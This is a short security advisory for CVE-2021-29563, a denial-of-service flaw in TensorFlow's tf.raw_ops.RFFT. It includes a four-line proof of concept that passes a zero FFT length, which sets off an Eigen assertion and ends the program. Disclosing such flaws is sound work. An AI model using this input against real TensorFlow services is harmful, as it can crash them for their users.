CVE-2021-29563: CHECK-fail in `tf.raw_ops.RFFT`
(updated )
An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.raw_ops.RFFT:
import tensorflow as tf
inputs = tf.constant([1], shape=[1], dtype=tf.float32)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)
tf.raw_ops.RFFT(input=inputs, fft_length=fft_length)
The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.
